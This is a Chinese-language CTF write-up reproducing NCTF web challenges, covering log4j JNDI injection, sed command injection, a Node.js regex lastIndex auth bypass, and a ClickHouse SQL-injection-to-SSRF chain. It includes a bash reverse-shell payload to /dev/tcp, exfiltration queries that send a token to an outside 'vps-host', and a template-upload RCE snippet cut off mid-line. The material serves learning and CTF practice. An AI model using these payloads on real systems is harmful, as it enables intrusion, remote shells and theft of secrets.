NCTF 复现

链接:https://pan.baidu.com/s/1UTOxWRtF986reDCFLrq6Dg?pwd=2cn4
提取码:2cn4

官方提供了赛题docker环境。搭起来我都费劲…太菜了我

dockerfile使用

https://blog.csdn.net/dongdong9223/article/details/83059265

我连给我个dockerfile 我都不会搭建。使用方法如下:

  • 进入Dockerfile所在文件夹,构建image:

    1
    docker build -t nctf_logging -f .\Dockerfile .
  • 等待完成后正常用就行,映射端口

    1
    docker run -p 127.0.0.1:8111:8080 --name nctf_logging [image ID]

    我后面才看到在NSS上有题目😡。

logging

起完是这个页面。
image.png
考点是log4j,但是只知道并没有利用过。
要寻找JNDI注入点,在Headers中,当修改Accept请求头时出现406响应。
image.png

Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志,还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了
HTTP 406状态码是指”不可接受”(Not Acceptable)。服务器收到的请求中包含了一个或多个要求资源的表示形式,但服务器无法生成与请求中所述的任何形式相匹配的响应。这意味着服务器无法提供与请求的Accept标头中指定的格式相匹配的响应。

这里存在JNDI注入且出网。
image.png
然后起一个ldap服务即可。

https://github.com/WhiteHSBG/JNDIExploit

之前也没用过,给服务器上个Java1.8 然后运行这个快速搭建LDAP:
这个的1.4版本需要依赖,1.3不需要直接就可以打

1
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 0.0.0.0 -p 8889

image.png
然后监听8888
image.png

Webshell Generator

image.png
点击生成之后发现有一个302包然后提供跳转位置。
image.png
可以修改地址来任意文件读取:
image.png
但是不让读取/flag``/proc/1/envrion这种,只能去读取源码
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>

禁止换行限制114字符,将methodkey放入环境变量中。然后执行generate.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

看的我一脸懵,bash脚本会的不多吗,我们看看gpt说了什么:

  • set -e这个命令告诉shell如果任何语句的执行结果不是true则应该退出。这意味着如果有任何命令失败了,整个脚本会终止运行。
  • sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"这个命令使用sed(流编辑器)来替换在新文件中所有出现的KEY文本为环境变量$KEY的值。
  • sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"这个命令类似上一条,但是它是替换所有的METHOD文本为环境变量$METHOD的值。
  • realpath "$NEW_FILENAME"这个命令打印出新文件的绝对路径。

也就是对sed命令的考察。
image.png
sed -e 可以运行脚本到程序:

1
2
3
123/g;e bash -c "bash -i >& /dev/tcp/xxx/8888 0>&1";
# 在bash语句中会被拼接为:
sed -i "s/METHOD/123/g;e bash -c "bash -i >& /dev/tcp/xxxx/8888 0>&1";/g" "$NEW_FILENAME"

payload:

1
key=123&language=PHP&method=%2Fg%3Be%20bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx%2F8888%200%3E%261%22%3b&filename=webshell.php

image.png

Wait What

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
const express = require('express');
const child_process = require('child_process')
const app = express()
app.use(express.json())
const port = 80

function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

let users = {
"admin": "admin",
"user": "user",
"guest": "guest",
'hacker':'hacker'
}

let banned_users = ['hacker']

// 你不准getflag
banned_users.push("admin")

let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

//鉴权中间件
function requireLogin(req, res, next) {
let username = req.body.username
let password = req.body.password
if (!username || !password) {
res.send("用户名或密码不能为空")
return
}
if (typeof username !== "string" || typeof password !== "string") {
res.send("用户名或密码不合法")
return
}
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")
}

function registerUser(username, password) {
if (typeof username !== "string" || username.length > 20) {
return "用户名不合法"
}
if (typeof password !== "string" || password.length > 20) {
return "密码不合法"
}
if (username in users) {
return "用户已存在"
}

for(let existing_user in users){
let existing_user_password = users[existing_user]
if (existing_user_password === password){
return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`
}
}

users[username] = password
return "注册成功"
}

app.use(express.static('public'))

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

app.post("/api/register", (req, res) => {
let username = req.body.username
let password = req.body.password
let message = registerUser(username, password)
res.send(message)
})

app.post("/api/login", requireLogin, (req, res) => {
res.send("登录成功!")
})

app.post("/api/flag", requireLogin, (req, res) => {
let username = req.body.username
if (username !== "admin") {
res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")
return
}
let flag = child_process.execSync("cat flag").toString()
res.end(flag)
console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")
res.on("finish", () => {
setTimeout(() => { process.exit(0) }, 1)
})
return
})

app.post('/api/ban_user', requireLogin, (req, res) => {
let username = req.body.username
let ban_username = req.body.ban_username
if(!ban_username){
res.send("ban_username不能为空")
return
}
if(username === ban_username){
res.send("不能封禁自己")
return
}
for (let name of banned_users){
if (name === ban_username) {
res.send("用户已经被封禁")
return
}
}
banned_users.push(ban_username)
res.send("封禁成功!")
})



app.get("/", (req, res) => {
res.redirect("/static/index.html")
})

app.listen(port, () => {
console.log(`listening on port ${port}`)
})

需要以admin的身份登录,每次鉴权都会banned_users.push("admin")ban掉admin。

1
2
3
4
5
6
7
8
9
let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

遍历被ban用户,然后全局匹配。
RegExp.lastIndex使用时,当它开启g属性的时候,lastIndex会起作用,它用于表示从哪一个位置开始进行匹配:

1、 当regexp.test匹配成功,lastIndex会被设置为最近匹配成功的下一个位置
2、 当regexp.test匹配失败,lastIndex被设置为0
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}

就可以用这种方式匹配到admin修改lastIndex为5然后没有新的匹配。
第二层一直是false。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")

image.png
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
# https://xz.aliyun.com/t/13536?time__1311=mqmxnQiQi=FqlxGgpDyeXvB+DIOxGwD&alichlgref=https://xz.aliyun.com/t/13536#toc-2
import urllib.parse

import requests
from urllib.parse import *

url='url'
session=requests.Session()
resp=session.post(urllib.parse.urljoin(url,"/api/register"),json={"username":"aiwin","password":"test"})
resp=session.post(urllib.parse.urljoin(url,"/api/ban_user"),json={"username":"aiwin","password":"test","ban_username":{"1":"error"}})
resp=session.post(urllib.parse.urljoin(url,"/api/flag"),json={"username":"admin","password":"admin"})
resp=session.post(urllib.parse.urljoin(url,"/api/flag"),json={"username":"admin","password":"admin"})
print(resp.text)

感想

逆天 nodejs一读一个晕。

house of click

起环境

1
docker compose up -d

端口开在8013
进入页面之后只有nginx的页面。
给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import clickhouse_connect
import ipaddress
import web
import os

with open('.token', 'r') as f:
TOKEN = f.read()

urls = (
'/', 'Index',
'/query', 'Query',
'/api/ping', 'Ping',
'/api/token', 'Token',
'/api/upload', 'Upload',
)

render = web.template.render('templates/')


def check_ip(ip, ip_range):
return ipaddress.ip_address(ip) in ipaddress.ip_network(ip_range)


class Index:
def GET(self):
return render.index()

def POST(self):
data = web.input(name='index')
return render.__getattr__(data.name)()


class Query:
def POST(self):
data = web.input(id='1')

client = clickhouse_connect.get_client(host='db', port=8123, username='default', password='default')
sql = 'SELECT * FROM web.users WHERE id = ' + data.id
client.command(sql)
client.close()

return 'ok'


class Ping:
def GET(self):
return 'pong'


class Token:
def GET(self):
ip = web.ctx.env.get('REMOTE_ADDR')
if not check_ip(ip, '172.28.0.0/16'):
return 'forbidden'
return TOKEN


class Upload:
def POST(self):
ip = web.ctx.env.get('REMOTE_ADDR')
token = web.ctx.env.get('HTTP_X_ACCESS_TOKEN')

if not check_ip(ip, '172.28.0.0/16'):
return 'forbidden'
if token != TOKEN:
return 'unauthorized'

files = web.input(myfile={})
if 'myfile' in files:
filepath = os.path.join('upload/', files.myfile.filename)
if (os.path.isfile(filepath)):
return 'error'
with open(filepath, 'wb') as f:
f.write(files.myfile.file.read())
return 'ok'


app = web.application(urls, globals())
application = app.wsgifunc(web.httpserver.StaticMiddleware)

我们能注意到直接访问路由是访问不通的。
阅读代码我们可以发现,如果有token的话且ip为172.28.0.0/16是可以上传文件的。而且由于用了os.path.join('upload/', files.myfile.filename)是可以文件上传穿越。
Query的SQL查询看起来也应该有注入。
Index下的render.getattr(data.name)()中,通过__getattr__直接获取render其它属性。
先尝试访问Query路由。用nginx+gunicorn路径绕过。

Nginx和Gunicorn的关系:

  • Nginx 位于最前端,作为网站的面向用户的服务器,直接处理所有的入站HTTP请求。它会处理静态文件,如HTML、CSS、JavaScript和图像文件,因为它在这方面非常高效。当Nginx收到对动态内容(通常是由Web应用程序生成的内容)的请求时,它将这些请求作为代理转发给后端的 Gunicorn 服务器。
  • Gunicorn 作用在后台,它是一个 WSGI 服务器,它运行Python代码。当从Nginx接收到请求时,Gunicorn 将请求传递给 Python 应用程序并获取应用程序的响应,然后再将该响应发送回 Nginx,最后由 Nginx 将响应返回给客户端。

    https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g
    https://github.com/CHYbeta/OddProxyDemo/blob/master/nginx/demo1/README.md

image.png
因此我们可以构造访问:
中间那里打不出tab可以先打出%09在解码。

1
POST /query<TAB>HTTP/1.1/../../api/ping HTTP/1.1

image.png

https://clickhouse.com/docs/zh/sql-reference/table-functions/url#globs-in-url

使用这个函数进行SSRF:
image.png
这肯定先想到堆叠注入;但是别的WP只说了不能用但是不知道为什么。
ClickHouse作为DBMS, 默认情况下,它不支持在同一查询中执行多个语句。这意味着即使攻击者试图在POST请求中的id参数中注入类似’; DROP TABLE web.users;–的SQL语句,由于ClickHouse无法执行堆叠查询,这样的注入尝试将不会导致第二条语句DROP TABLE的执行。正因为ClickHouse的这一特性,所以在利用这段代码操作ClickHouse时无法进行堆叠注入。

https://clickhouse.com/docs/zh/interfaces/http

通过这个可以实现GET请求insert语句。
先ssrf自身的HTTP interface然后再去ssrf到backend

1
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=<SQL>', 'TabSeparatedRaw', 'x String'))

TabSeparatedRaw表示返回的数据采用制表符分隔的原始数据格式
x String表示外部查询返回的数据类型为字符串。
我们测试一下:

1
id=1 and (SELECT * FROM url('http://vps-host:8888/', 'TabSeparatedRaw', 'x String'))

可以在vps接收到信息。
因此我们可以外带得到一些信息。

获取token

可以通过外带来获取到token:

1
id=1 AND (SELECT * FROM url('http://vps-host:6666/?a='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))), 'TabSeparatedRaw', 'x String'));

这里不知道为什么我一直打不通😡,一直报错500

上传文件

1
id=1 and (select * from url('http://192.168.124.9:8123/?query=insert into function url('http://backend:8001/api/upload','TabSeparatedRaw', 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='38ad6332afaa1e3fc75f6a6b60cdd909')) Values(' ------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/exp.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n	__import__(\'os\').system(\'curl http://xxx

blog1707381987765-4e279843-4651-4623-9841-cefbcfc80f1d.png然后到index reder test.html进行RCE

感想

都是怪物吗,这doc看的我迷糊。